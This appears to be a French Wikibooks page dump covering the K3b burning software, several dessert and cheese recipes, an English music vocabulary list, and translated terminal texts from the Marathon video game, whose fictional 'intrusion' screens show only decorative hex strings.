un CD Audio à partir d'une liste de fichiers musicaux, ou copier un CD. Le programme a de nombreux paramètres par défauts qui peuvent être modifiés. La gravure des CD dans K3b est actuellement effectuée à l'aide des logiciels en lignes de commandes : cdrecord, cdrdao et growisofs. ==Graver un CD== .. ==Extraction d'un CD audio== .. ==Extra== K3b nécessite un programme externe appelé [[w:GNU VCDImager|GNU VCDImager]] pour graver les [[VCD]] et [[DVD]], et les vidéos doivent être dans un format reconnu. Avec eMoviX il est possible de créer des LiveCDs contenant des vidéos et/ou de la musique. Cuisine:Gâteau aux noix et au miel 3728 15211 2005-05-28T10:08:44Z Antoinel 182 __NOTOC__ ==Ingrédients== * 230 gr. de farine blanche * 180 gr. beurre ramolli * 70 gr. de sucre en poudre * 8 cuillers à soupe de cerneaux de noix * 5 cuillers à soupe de miel * 4 œufs, les jaunes à part et les blancs battus en neige * une pincée de sel ==Ustensiles spécifiques== * Un saladier de préparation * Un moule rond ou carré ==Préparation== * Faites préchauffer le four à 180°C (thermostat 6) * Mélangez, dans un saladier, le sucre et le beurre ramolli, puis incorporez les jaunes d'œufs, et bien mélanger jusqu'à obtenir une pâte homogène. * Tout en mélangeant, ajoutez le miel, la farine, les cerneaux de noix, et la pincée de sel et bien mélanger. Pour finir incorporez délicatement les blancs d'œufs battus en neige. * Versez la préparation dans le moule beurré et laissez cuire 40 minutes au four préchauffé à 180°C (thermostat 6). La pointe du couteau doit rester sèche Ce gâteau est encore meilleur accompagné d'une crème anglaise ou de la glace à la cannelle ou à la vanille. ---- Retour au [[Livre_de_Cuisine|sommaire]] / aux [[Cuisine:Desserts|desserts]] ---- Cuisine:Brownies 3730 15213 2005-06-04T17:19:56Z Antoinel 182 == Ingrédients == *120g de chocolat noir *125g de beurre mou *2 oeufs *60g de farine *125g de sucre en poudre *50g de noix de pécan hachées == Préparation == {| align="center" border="1" cellpadding="2" cellspacing="0" |- bgcolor="#efefef" ! Étape 1 ! Étape 2 |----- | width=50% |[[Image:Bain-marie.JPG|200 px|center|]]<br /><center>Faire fondre le chocolat au bain-marie.</center> | valign=top |[[Image:Preparation des brownies etape2.JPG|200 px|center|]]<br /><center>Fouetter les oeufs avec le sucre.</center> |- bgcolor="#efefef" ! Étape 3 ! Étape 4 |----- | valign=top |[[Image:Preparation des brownies etape3.jpg|200 px|center]]<br /><center>Faire fondre le beurre et le mélanger avec le chocolat fondu.</center> | valign=top |[[Image:Preparation des brownies etape4.jpg|200px|center]]<br /><center>Ajouter au mélange oeufs-sucre, ainsi que la farine et les noix de pécan. Mélanger.</center> |- bgcolor="#efefef" ! Étape 5 ! Étape 6 |----- | valign=top |[[Image:Preparation des brownies etape5.jpg|200px|center]] <br /> <center>Verser la préparation dans un moule recouvert de papier sulfurisé.</center> | valign=top |[[Image:Preparation des brownies etape6.jpg|200px|center]] <br /> <center>Faire cuire au four dix à quinze minutes à 170°C. A mi-cuisson, couper le brownie en carré, afin de faciliter la cuisson.</center> |- bgcolor="#efefef" ! Conseils ! |----- | * Les brownies n'ont pas le même aspect cuit que les autres gâteaux au chocolat. C'est pourquoi la cuisson doit être plus légère. * Vous pouvez accompagner les brownies de glace à la vanille et de chocolat fondu. | <center>[[Image:Brownies.jpg|200px]]</center> |} ---- Retour au [[Livre_de_Cuisine|sommaire]] / aux [[Cuisine:Desserts|desserts]] ---- Anglais : Music, la musique 3731 27528 2005-12-24T18:09:52Z 83.153.90.142 /* an instrument : ''un instrument'' */ == classical music : ''la musique classique'' == a composer : ''un compositeur''<br />a conductor : ''un chef d'orchestre''<br /> === an instrument : ''un instrument'' === string instruments : ''les instruments à cordes''<br />wind instruments : ''les instruments à vent''<br />keyboard instruments : ''les instruments à clavier''<br />percussion instruments : ''les percussions''<br />a piano : ''un piano''<br />a flute : ''une flûte''<br />a clarinet : ''une clarinette''<br />a guitar : ''une guitare'' ---- Retour au [[Enseignement de l'anglais|sommaire]] ---- Cuisine:Irish Coffee 3737 15220 2005-05-29T09:16:53Z Weft 169 café -> un f ==Ingrédients== * 3 cl de wiskey irlandais (liqueure de café) * 5 cl de café très fort * 2 cuillères à soupe de crème fraîche épaisse glacée * 1 cuillère à soupe de lait très froid ==Préparation== * Faites cuire votre café (plus ou moins fort comme vous l'aimez). Dans un verre, versez le wiksey, puis le café. * À part, mélangez la crème et le lait. Verser cela dans le verre. La crème devrait rester à la surface. * Savourez immédiatemment ;) Cuisine:Crème glacée 3738 15221 2005-05-29T10:29:56Z 82.254.8.13 __NOTOC__ ==Ingrédients== * 500 grammes de fruits * 250 grammes de sucre glace * 250 grammes de crème ==Ustensiles spécifiques== * Un robot-mixer ou un moulin à légumes * Sorbetière (optionnelle) * Un congélateur ==Préparation== # Mixer les fruits. Suivant le type de fruit il est préférable de filtrer pour enlever les grains (les mûres par exemple). # Battre la crème pour la faire monter légérement. # Mélanger le sucre et la crème. # Ajouter les fruits précédemment mixés. Mélanger jusqu'à obtenir une consistance homogène. # Mettre dans la sorbetière ou, à défaut, directement au congélateur. # Déguster une dizaines d'heures plus tard. ---- Retour au [[Livre_de_Cuisine|sommaire]] / aux [[Cuisine:Desserts|desserts]] ---- Cuisine:Recettes au fromage 3739 26836 2005-12-15T15:55:58Z 193.138.10.41 __NOTOC__ == La tarte au [[w:Maroilles (fromage)|maroilles]] == [[Image:Tartemaroillesavcuisson.jpg|right|thumbnail|Juste avant la cuisson.]] ==== Ingrédients ==== * 200g de farine * 8g de levure de boulanger * 1 oeuf * le quart d'un maroille * une pincée de sucre ==== Préparation ==== [[Image:Tartemaroillesapcuisson.jpg|thumbnail|Juste avant la dégustation.]] # Préchauffer le four à 50°C. # Faire gonfler la levure dans un verre ou une tasse avec un peu d'eau chaude et le sucre. # Dans un saladier, creuser un puit avec la farine, verser au centre l'oeuf, la levure et le sel. Pétrir le mélange à la main jusqu'à obtenir une pâte visqueuse. # Beurrer et saupoudrer de farine un plat puis étaler la pâte. Le mettre au four pendant environ 20 minutes pour que la pâte gonfle. # Couper des tranches de maroilles et en couvrir la pâte. # Mettre au four pendant 15-20 minutes à 180°C. == La fondue savoyarde == La '''fondue savoyarde''' est un plat à base de fromage originaire de Suisse, répandu en Savoie. ==== Ingrédients ==== * 400 g de beaufort * 400 g de comté * 400 g d'emmenthal * 6 verres de vin blanc * 1 verre de kirsch * 1 gousse d'ail * pain * beurre ==== Préparation ==== #Couper le pain en cube et le fromage en lamelle. # Couper finement la gousse d'ail et la faire blondir avec le beurre dans le poêlon. Ajouter le vin blanc, le faire frémir et ajouter le fromage petit à petit en mélangeant. #Quand le fromage est fondu, ajouter le kirsch. #Tremper le pain dans le fromage et déguster. == Carpaccio de fromage == ====Ingrédients (pour 4 personnes)==== * 300 g de fromage de chèvre frais coupé en rondelles fines, * 1 oignon taillé en tranches fines, * 1 poivron rouge et 1 poivron vert coupés en dés de 1 cm, * 1 bouquet de persil haché, 1 gousse d'ail haché, * huile d'olive, sel et poivre. ====Préparation==== # Dans un bol, mélangez l'huile d'olive avec l'ail et le persil. Remuez bien, salez et poivrez. # Disposez sur un plat de service les rondelles de fromage, les rondelles d'oignon et les dés des poivrons. # Versez uniformément la préparation avec l'huile d'olive préparée, et mettre au réfrigérateur pendant au moins trois heures avant de servir accompagné d'une salade croquante. ---- Retour au [[Livre_de_Cuisine|sommaire]] ---- Marathon 3741 25877 2005-11-22T21:13:07Z W'rkncacnter 327 == Les terminaux == Cette section contient les les traductions en français de tous les terminaux de chacun des jeux de la [[w:Marathon (série de jeu vidéo)|trilogie Marathon]]. === [[Marathon - Marathon 1|Marathon]] === ''traduction :'' {{4/4}} * [[Marathon - Marathon 1 - Arrival|Arrival]] * [[Marathon - Marathon 1 - Counterattack|Counterattack]] * [[Marathon - Marathon 1 - Reprisal| Reprisal]] * [[Marathon - Marathon 1 - Durandal| Durandal]] * [[Marathon - Marathon 1 - The Pfhor|The Pfhor]] * [[Marathon - Marathon 1 - Rebellion| Rebellion]] * [[Marathon - Marathon 1 - Écran final| Écran final]] === [[Marathon - Marathon 2|Marathon 2: Durandal]] === ''traduction :'' {{3/4}} * [[Marathon - Marathon 2 - Lh'owon|Lh'owon]] * [[Marathon - Marathon 2 - Volunteers|Volunteers]] * [[Marathon - Marathon 2 - Garrison|Garrison]] * [[Marathon - Marathon 2 - Citadel|Citadel]] * [[Marathon - Marathon 2 - Durandal|Durandal]] * [[Marathon - Marathon 2 - Captured|Captured]] * [[Marathon - Marathon 2 - Blake|Blake]] * [[Marathon - Marathon 2 - Simulacrums|Simulacrums]] * [[Marathon - Marathon 2 - S'pht'Kr|S'pht'Kr]] * [[Marathon - Marathon 2 - Écran final| Écran final]] === [[Marathon - Marathon Infinity|Marathon Infinity]] === ''traduction :'' {{1/4}} * Prologue *:1. [[Marathon - Marathon Infinity - Ne Cede Malis|Ne Cede Malis]] * Despair *:2. [[Marathon - Marathon Infinity - Rise Robot Rise|Rise Robot Rise]] *:''26. [[Marathon - Marathon Infinity - Robot World Arena|Robot World Arena]]'' *:3. [[Marathon - Marathon Infinity - Poor Yorick|Poor Yorick]] *:''27. [[Marathon - Marathon Infinity - Two for the Price of One|Two for the Price of One]]'' *:4. [[Marathon - Marathon Infinity - Confound Delivery|Confound Delivery]] *:5. [[Marathon - Marathon Infinity - Electric Sheep One|Electric Sheep One]] *:6. [[Marathon - Marathon Infinity - Where are monsters in dreams|Where are monsters in dreams]] *:''28. [[Marathon - Marathon Infinity - Aie Mak Sicur|Aie Mak Sicur]]'' * Rage *:7. [[Marathon - Marathon Infinity - Acme Station|Acme Station]] *:8. [[Marathon - Marathon Infinity - Post Naval Trauma|Post Naval Trauma]] *:9. [[Marathon - Marathon Infinity - Where Some Rarely Go|Where Some Rarely Go]] *:10. [[Marathon - Marathon Infinity - Thing What Kicks...|Thing What Kicks...]] *:11. [[Marathon - Marathon Infinity - Electric Sheep Two|Electric Sheep Two]] *:12. [[Marathon - Marathon Infinity - Whatever You Please|Whatever You Please]] *:''29. [[Marathon - Marathon Infinity - Carroll Street Station|Carroll Street Station]]'' *:13. [[Marathon - Marathon Infinity - Naw Man He's Close|Naw Man He's Close]] *:14. [[Marathon - Marathon Infinity - Foe Hammer|Foe Hammer]] *:15. [[Marathon - Marathon Infinity - Hang Brain|Hang Brain]] *:16. [[Marathon - Marathon Infinity - Electric Sheep Three|Electric Sheep Three]] *:17. [[Marathon - Marathon Infinity - Eat the Path|Eat the Path]] *:''30. [[Marathon - Marathon Infinity - You're Wormfood, Dude|You're Wormfood, Dude]]'' * Envy *:18. [[Marathon - Marathon Infinity - By Committee|By Committee]] *:19. [[Marathon - Marathon Infinity - One thousand thousand slimy things|One thousand thousand slimy things]] *:20. [[Marathon - Marathon Infinity - A Converted Church in Venice, Italy|A Converted Church in Venice, Italy]] *:21. [[Marathon - Marathon Infinity - Son of Grendel|Son of Grendel]] *:22. [[Marathon - Marathon Infinity - Strange Aeons|Strange Aeons]] *:23. [[Marathon - Marathon Infinity - Bagged Again|Bagged Again]] *:24. [[Marathon - Marathon Infinity - You Think You're Big Time? You're Gonna Die Big Time!|You Think You're Big Time? You're Gonna Die Big Time!]] *:25. [[Marathon - Marathon Infinity - Aye Mak Sicur|Aye Mak Sicur]] * [[Marathon - Marathon Infinity - Écran final|Écran final]] [[Catégorie:Jeu vidéo]] Marathon - Marathon 1 - Arrival 3742 20466 2005-09-02T14:19:33Z W'rkncacnter 327 /* Terminal 4 */ __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] :[[Marathon - Marathon 1 - Arrival|Arrival]] ::[[Marathon - Marathon 1 - Arrival#Arrival|0. Arrival]] ::[[Marathon - Marathon 1 - Arrival#Bigger Guns Nearby|1. Bigger Guns Nearby]] ::[[Marathon - Marathon 1 - Arrival#Never Burn Money|2. Never Burn Money]] :[[Marathon - Marathon 1 - Counterattack|Counterattack]] :[[Marathon - Marathon 1 - Reprisal|Reprisal]] :[[Marathon - Marathon 1 - Durandal|Durandal]] :[[Marathon - Marathon 1 - The Pfhor|The Pfhor]] :[[Marathon - Marathon 1 - Rebellion|Rebellion]] :[[Marathon - Marathon 1 - Écran final|Écran final]] [[Marathon - Marathon 2|Marathon 2]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == Arrival == === Terminal 1 === {{Terminal Marathon 1||Sas 34-a Terminal d'accès <Port 19.1.2.128>}} {{Terminal Marathon 2| <Message à tous terminaux Marathon> '''Systèmes de communication d'urgence Marathon''' Aujourd'hui à 08h20, Marathon a été attaqué par surprise par des forces hostiles inconnues. Marathon a subi de sérieux dommages. À 08h30, les forces aliens ont abordé Marathon. La situation actuelle est grave. Tous les personnels doivent s'armer et défendre leur vie.<br /> <Posté 2794.7.3.14.08.39> <nowiki>***MESSAGE DE LEELA***</nowiki> Bienvenue à Marathon. Je suis Leela, l'une des deux Intelligences Artificielles survivantes du Marathon. Je suis sérieusement touchée, et je travaille à évaluer la situation actuelle. Trouvez le terminal de téléportation situé dans le hangar de la salle de contrôle. En attendant je devrais avoir une meilleure idée de ce qui se passe. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 3|| C'est ici que vous êtes maintenant. D'ici, vous explorerez le reste de la zone du hangar, bien que les portes du niveau ne fonctionnent pas toutes. }} {{Terminal Marathon 3|| Il y a un tampon de sauvegarde à cet endroit. }} {{Terminal Marathon 3|| Il y a un téléporteur à cet endroit. Activez le terminal pour quitter la zone du hangar. }} {{Terminal Marathon 4||Sas 34-a Terminal d'accès <Port 19.1.2.128>}} === Terminal 2 === {{Terminal Marathon 1||Zone hangar-5 Accès technique 50-h<291.7.577.456>}} {{Terminal Marathon 2| <'''Accès refusé'''-alarme 2521-><br /> <Intrusion 50-h<291.7.577.456>-> <nowiki>*</nowiki>0001010'''4A80'''600A2F0C4EBA182E4A80584F2E00BC876700FF46202EFE4*3A<br /> EFE4A2F0C2F074EBA1DC672FFB280504F6700079d4202EFE4E6000079*E700<br /> 12D40FE52722AB2866610202EFE5253AEFE52101B4880<br /> ^^Le feu et @3DC39 les aspects de la théorie sont les suivants: chaque société a une force qui la contrôle ou décidant de son orientation, mais les relations dans la société sont arbitraires-les humains ont une relation à l'argent, aux machines, aux voisins, rien n'est vrai; ''%6582@1'' ''<Réinitialisation logique @67FC229>''<br /> personnalité et caractère individuel sont conservés dans des histoires, films, mémoires de personnalité, etc... de même l'expression individuelle est une possibilité universelle, la liberté individuelle contrainte par la société. (voir figure jointe)^^<br /> <nowiki>*</nowiki>584F2E00206DFDCA7008C0307800'''66C'''6202EFE4A53AEFE4A2F0C2F074E<br /> <nowiki>*</nowiki>BA1E2A72FFB280504F6690600007F67025B086660E101B488048C02C00<br /> ''<Réinitialisation logique @67FC231>'' <'''Interruption inexpliquée'''- ''Infraction désactivée''><br /> <'''Entrée refusée'''> <'''Intrusion non localisée'''> }} {{Terminal Marathon 4||Zone hangar-5 Accès technique 50-h<291.7.577.456>}} === Terminal 3 === {{Terminal Marathon 1||Zone hangar-5 Accès technique 49-h<294.2.577.456>}} {{Terminal Marathon 2| <'''Accès non autorisé'''-alarme 2521-><br /> <Intrusion 49-h<294.2.577.456>-> 18RF(kgf42# f#h %34(*,96693 349973@) fkeoocp) <nowiki>*</nowiki>00011010111'''011101'''11000111101110101110110101011<br /> <nowiki>*</nowiki>10011''000011101001''01001001001001000010100101111<br /> <nowiki>*</nowiki>1001000101011110100101010101000001001000101110 00'''0'''00378003E000007FE0032000011AE00080001'''AF'''420000<br /> 06726F636B65742'''1'''00000000000000000672'''6'''F636B657421<br /> 0000000000000000 <'''Interruption inexpliquée'''- ''Intrusion désactivée''><br /> <'''Entrée interdite'''> }} {{Terminal Marathon 3|| '''<Alerte>'''<br /> Intrusion à <294.2.577.456> }} {{Terminal Marathon 4||Zone hangar-5 Accès technique 49-h<294.2.577.456>}} === Terminal 4 === {{Terminal Marathon 1||Hangar zone 5 Terminal de téléportation <93.53.211.53>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Toutes les informations que j'ai recueillies indiquent que l'invasion alien de Marathon est assez confuse. Je pense que c'est partiellement dû à la grande taille de Marathon. Malgré la confusion de l'invasion alien, leur assaut contre le réseau informatique est extrêmement efficace. Je détecte des intrusions dans la plupart des systèmes embarqués de Marathon ; j'ai entendu dire qu'une des créatures alien peut s'interfacer avec nos systèmes. Vous devez tuer toute créature de ce type que vous rencontrerez. Leur arrêt est prioritaire. Ils pénètrent déjà mes défenses. Téléportation. <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Hangar zone 5 Terminal de téléportation <93.53.211.53>}} == Bigger Guns Nearby == === Terminal 1 === {{Terminal Marathon 1||Niveau 29-b Section 10 Terminal accès public <102.21.521.146>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Je suis maintenant en contact avec certaines colonies planétaires, mais leur rapport de la situation est contradictoire et certainement exagéré. L'antenne primaire ondes-moyennes est déconnectée ou détruite, ce qui rend les communications extrêmement difficiles. La seule chose qui semble claire, c'est que le port spatial a été détruit par une arme nucléaire tactique peu de temps après le début de l'attaque de Marathon. J'ai pu le vérifier avec mes instruments optiques. Les envahisseurs semblent d'être plus intéressés par Marathon que par la colonie, au moins à court terme. Toutefois leurs motivations derrière cette attaque ne sont pas encore connues. }} {{Terminal Marathon 3|| C'est le terminal informatique que vous utilisez maintenant. Je ne peux vous téléporter hors de cette section d'ici. Vous devez donc aller à un autre terminal, après que vous ayez trouvé le fusil d'assaut. }} {{Terminal Marathon 3|| Il y a ici un fusil d'assaut/lanceur de grenades M-75 et ses munitions. Le tir en mode automatique total est très imprécis, mais les grenades sont dévastatrices et c'est ce qu'on peut faire de mieux à cette heure. Les munitions peuvent s'épuiser rapidement, préparez-vous à reprendre votre pistolet. }} {{Terminal Marathon 3|| Voici le terminal à atteindre pour quitter cette section. La pénétration alien dans cette zone est élevée ; soyez prudent. Vous pourrez trouver des portes bloquées ou escaliers rentrés, car les IA de contrôle de ces fonctions sont endommagées et agissent aléatoirement. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Niveau 29-b Section 10 Terminal accès public <102.21.521.146>}} === Terminal 2 === {{Terminal Marathon 1||Terminal accès publique2362-d<12.53.2111.42>}} {{Terminal Marathon 2| <'''Accès refusé'''-alarme 2521-><br /> <Intrusion 2362-d<12.53.2117.42>-> Documents techniques internes de Marathon<br /> Section 1-c annexe H Sujet: Portes<br /> De: Estasia Orestes, Dominick I. Plackar, et Ursa Simbalzi<br /> Date: <23.03.2402.16.42><br /> Il y a cinq modèles de base de portes utilisées sur Marathon:<br /> 1. Cloisons coupe-feu extérieures<br /> 2. Sas pressurisés<br /> 3. Cloisons coupe-feu intérieures<br /> 4. Tertiaires ou portes intérieures non pressurisées<br /> 5. Quaternaires ou portes intérieures à ouverture auto <br /> Durandal contrôle directement toutes les portes sauf les portes tertiaires et quaternaires, qui sont sous son contrôle indirect. La différence entre le contrôle direct et indirect réside essentiellement dans la méthode d'ouverture des portes. Durandal n'ouvre une porte sous son contrôle direct que si cela lui est expressément demandé. Les portes à contrôle indirect sont automatiquement contrôlées par Durandal pour une ouverture selon les besoins. Toutefois à cause du coût des capteurs optiques et thermiques des portes de groupe tertiaire et quaternaire, elles sont utilisées au minimum. L'économie estimée par la non utilisation de capteurs est de la moitié du coût de base d'une cloison coupe-feu intérieure. Les types de portes sont sensiblement les mêmes avec quelques petites variations. Les portes de classe 1 et 3 sont les mêmes portes, classées séparément suivant leur niveau de sécurité demandé concernant l'étanchéité. Les sas sont des portes spécialement modifiées pour fonctionner avec des interrupteurs manuels ou télécommandés. Les sas ont tous la même signalétique spécifique, et sont pressurisés avec un système de recharge d'air. Les portes tertiaires et quaternaires sont conçues comme les cloisons coupe-feu, mais sont à très faibles fuites d'air. Cet article ainsi que les articles 530-f et 532-g respectivement sur les fenêtres et ascenseurs, seront placés dans les documents publiques d' information technique interne de Marathon section 1-c annexe H.<br /> <'''Interruption inexpliquée'''- ''Infraction désactivée''><br /> <'''Entrée refusée'''> }} {{Terminal Marathon 3|| '''<Alerte>'''<br /> '''Intrusion au terminal 2362-d'''<12.53.2111.42> }} {{Terminal Marathon 4||Terminal accès publique2362-d<12.53.2111.42>}} === Terminal 3 === {{Terminal Marathon 1||Terminal accès public <101.532.74.95>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Les défenses robotisées de Marathon ont été désactivées pendant l'attaque initiale par une impulsion magnétique dirigée. Les aliens ont utilisé la même arme pour désactiver les deux autres IA, Durandal et Tycho, et m'endommager sérieusement. Durandal est responsable du contrôle des systèmes automatiques du vaisseau : portes, support vital, cuisines, recycleurs d'air, étages etc... À cause de son dysfonctionnement, je travaille à assumer le plus possible de ces tâches. Maintenant que vous êtes mieux armé, votre première priorité est de réactiver les défenses de Marathon, sous mon contrôle, pour que nous opposions une résistance aux aliens. J'ai fabriqué trois circuits de remplacement pour les systèmes de défense, mais je ne peux sans aide, les déplacer du centre de fabrication. Je vais maintenant vous transporter pour récupérer les pièces détachées, et je vous donnerais plus d'informations à votre arrivée. <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public <101.532.74.95>}} == Never Burn Money == === Terminal 1 === {{Terminal Marathon 1||Terminal accès public 4-a<892.33.12.479>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Le système de fabrication automatique de Marathon a fini de monter les circuits de remplacement. Il y en a trois. Chacun se trouve dans sa salle de fabrication. Par chance, les virus aliens n'ont pas infiltré les systèmes de fabrication, mais même s'ils l'étaient, je n'ai aucun moyen de le savoir. Les attaques contre mes systèmes deviennent plus efficaces. Si la contre-attaque ne peut sortir les infiltrés dans l'ordinateur, je risque de succomber. Il est impératif que la contre-attaque commence le plus tôt possible. Marathon n'est pas sans défense, et nous nous ne pouvons nous laisser prendre sans nous battre. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 3|| C'est ici que les circuits doivent être. Regardez dans les armoires de réception. }} {{Terminal Marathon 3|| Il y a un tampon de sauvegarde près de vous. Je vous suggère de l'utiliser immédiatement. }} {{Terminal Marathon 3|| Après avoir récupéré les circuits, revenez au terminal de cet endroit, je vous transporterai au Centre de Défense pour les installer. }} {{Terminal Marathon 4||Terminal accès public 4-a<892.33.12.479>}} === Terminal 2 === {{Terminal Marathon 1||Terminal AMS 33-f<31.6.7.885>}} {{Terminal Marathon 2| '''Système de fabrication automatique''' <nowiki>*</nowiki>Transfert 5992-p retardé <nowiki>*</nowiki>Transfert 5993-p retardé <nowiki>*</nowiki>Transfert 5994-p retardé <nowiki>*</nowiki>Transfert 5995-p retardé <nowiki>*</nowiki>Transfert 5996-p retardé <nowiki>*</nowiki>Transfert 5997-p retardé <nowiki>*</nowiki>Transfert annulé<br /> -AMS Erreur de transport inconnue<br /> <nowiki>***CAUSE INCONNUE***</nowiki> <nowiki>*</nowiki>TRANSPORT MATERIELS ACTIF <br /> COMPTEUR INTER-TRANSFERT* <nowiki>***MESSAGE DE LEELA***</nowiki> J'ai peur de ce qui se passe. Vous devez aller à la station de transport de fabrication pour prendre le dernier circuit. Prenez les deux cartes qui y sont, et allez à la station de transport. }} {{Terminal Marathon 3|| Prenez l'ascenseur pour accéder au tunnel principal. }} {{Terminal Marathon 3|| Vous devez trouver le troisième circuit dans la station de transport. L'erreur venait d'une panne dans le conducteur du transporteur final. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 3|| '''<Alerte>'''<br /> Intrusion au <40.638.49.993> }} {{Terminal Marathon 4||Terminal AMS 33-f<31.6.7.885>}} === Terminal 3 === {{Terminal Marathon 1||Terminal accès public 95-w<39.59.19.21>}} {{Terminal Marathon 2| <Transfert de données de Leela><br /> Hôte <39.59.19.21><br /> <Transfert de Durandal><br /> <Erreur inconnue> <Transfert de Durandal><br /> <Erreur inconnue> <Erreur interne> <nowiki>***MESSAGE REÇU***</nowiki> Gheritt White est en apesanteur 2 mètres au dessus du sol depuis 3 semaines. Ses pieds et mains fourmillent, et ses yeux sont brûlés par les flammes d'un feu en extinction. Il a entendu quelqu'un lui parler alors que la porte de la cellule se fermait. Il ne se souvient pas de ce que l'homme en uniforme lui a dit. Les mots ont rebondi à travers les barreaux de la cellule et sont arrivé à ses oreilles. Gheritt parlait seul ces dernières minutes, sur quelque chose comme attraper, mais ses oreilles ont commencé à bourdonner et ses mains à trembler. Il regarda ses mains, mais le feu dans ses yeux l'ont rendu aveugle. Les larmes vinrent et à la réouverture de ses yeux, ses mains étaient devenues de véritables biscuits brûlés qui auraient gonflé aux rides tombant du feu de ses yeux. Il entendit quelqu'un dire "Sacré cellule". "La dernière fois que j'ai mangé correctement, c'était il y a trois jours. Ce qu'on trouve à manger ici peut tuer un rat de laboratoire." Des rats. Il se souvint de quelque chose sur les rats. Mais ses oreilles se remirent à sonner, et la voix qui lui parlait s'est éteinte dans le fond de son esprit. A la place, un nouveau bruit, le claquement de mains. Il remua dur pour rebouger ses mains. Elles avaient disparues; ses bras étaient connectés aux poignets. Il repensa au temps ou il faisait du patin à glace. Il se remémora le bruit des patins sur la glace, un petit crissement. Un autre crissement s'insinue maintenant dans ses oreilles, se superposant à ses souvenirs. Il y avait une femme avec un fourreau de fourrure blanche sur ses mains. ses bras étaient comme les siens maintenant. Les bras de celui qui a trop essayé de claquer des mains. Il a applaudi beaucoup d'autres dans sa vie, mais jamais pour lui même. Les mains, comme lui-même, étaient en prison, et il ne savait pas pourquoi. "Impossible de dormir ici. Si l'odeur de moisi de ce matelas ne te rend pas fou, le bruits des rats rongeant dans les murs te garderont réveillé. Tu te réveilles de tes rêves avec leur petit grignotement. Parfois je pense qu'ils me rongent...". La voix venait de la cellule, mais Gherrit ne pouvait voir personne. Gherrit n'a jamais été seul, il pouvait vaguement se souvenir quelque part dans son cerveau abîmé, qu'il avait eu amis, maîtresses, criminels. Il se souvint d'une théorie qui lui était venue après une rixe de beuverie dans une cour d'école. La théorie était simple. A ce point du temps, personne n'était criminel. Vrai ou faux, ils n'avaient jamais eu de remords, ils voulaient tous la mort de quelqu'un. La haine. Chacun connaît la haine. Gherrit a connu la haine dans cette école. Son batteur lui a ri à la face, un rire qui résonnait dans ses oreilles, qui couvrait rythmiquement les autres voix dans la cellule. La cour d'école était un endroit où Gherrit et ses amis jouaient au football ou au base-ball mais aujourd'hui il y avait une limite. Peut-être chacun a mangé des céréales avec du lait qui allait tourner, ou peut-être il y avait trop de fumée dans l'usine de pneus. Le football était extrêmement rude. Gherrit partit jouer au base-ball après avoir été taclé par cinq gars qui n'étaient pas ses amis. Mais maintenant, même le base-ball était une danse diabolique. Le carré du haut prenait aujourd'hui l'habitude de se moquer du premier carré. Gheritt décida que ce jour était un mauvais jour. Quand son batteur commença à le pousser autour, il explosa. La haine sortit de ses yeux, ses mains et pieds commencèrent à trembler. Toute sa coordination le laissa tomber, et son visage devint rouge. La discipline de la cour d'école baissa suite au carnage, et elle ne fut plus respectée. Gherrit se serait tué s'il avait pu. Il aurait crevé les yeux de son batteur. Il lui aurait fait payer ses sévices. Mais ses mains se mirent à trembler. Il ne sentait plus ses pieds et il se mit à quitter le sol. Chacun était un criminel, mais Gherrit ne pouvait pas se souvenir de la raison pour laquelle c'était ainsi. Il pensa qu'il avait quelque chose sur les mains, la passion de la justice. Ses mains et pieds se mirent à trembler, et il se mit à flotter en l'air. Il regarda hors de ses mains et vit les barreaux de la cellule, bougeant de gauche à droite, ouvrant large et se refermant comme la vague arrivant sur la plage. Chaque fois qu'il pensait être sauf, les barreaux l'arrêtait l'ouverture se fermait, l'onde se désagrégeait. Le résultat serait le même, il ne s'évaderait jamais. Les barreaux l'écraseraient, casseraient son dos. Il pouvait sentir la rugosité du sable dans ses paumes, toutes les sensations des ondes l'entourant, ses mains restaient sereines au-dessus de l'océan du sol. Son corps fut remué, pivotant autour de ses mains sous lesquelles il pouvait sentir le sable chaud. L'onde s'abîma une dernière fois, il atterrit à l'envers, ses mains traversant le sol sablonneux, le flot de l'eau, emplissant ses oreilles, son nez, sa bouche, le bruit de l'eau s'écrasant en bas depuis ses pieds à sa tête, entrant dans son cerveau pour sortir en larmes. Comme le château de sable qu'il avait construit pour contenir la marée, ses pensées l'enveloppèrent. Gheritt avait une bonne vie, tant de temps, tant de temps. Il aimait nager, tourner, battre. Il aimait taper dans ses mains et ses pieds, son impossibilité à tuer son opposant. Une fois tombé dans les étages, et seulement pour un moment, ses mains restèrent au sol. A cet instant, son corps s'est figé, flottant entre les étages, sûr de ne pas tomber, mais l'instant ne finissait pas. L'océan ne s'abîma pas sur lui, ses mains se libérèrent du sol en sable, son corps remua, tomba. Mais maintenant il lévitait plus haut, ses mains tremblaient encore. Il commença à flotter à travers les barreaux, il attendait l'instant de la sécurité où ses mains trouveraient le sol, mais ce moment n'arriva pas, les barreaux comprimèrent son corps. Son thorax trembla. Alors qu'il traversait sa cage, ses jambes tremblèrent. Le feu dans ses yeux devenait un vent froid, il clignota des larmes. Il remua au travers des barreaux, tournant et pivotant, il pouvait voir un homme. Dans ses mains, il vit un petit rat blanc. Des coups. Les ondes dans ses oreilles devenaient rythmées, fortes. L'homme tapait le rat au sol. Des coups, des coups. Le sang couvrit ses mains, les mains de l'homme tremblèrent. Il les avait cassées sur le sol de la cellule. Educateur, amant, meurtrier. Gheritt regarda dans la cellule. Il se vit éducateur, amant, 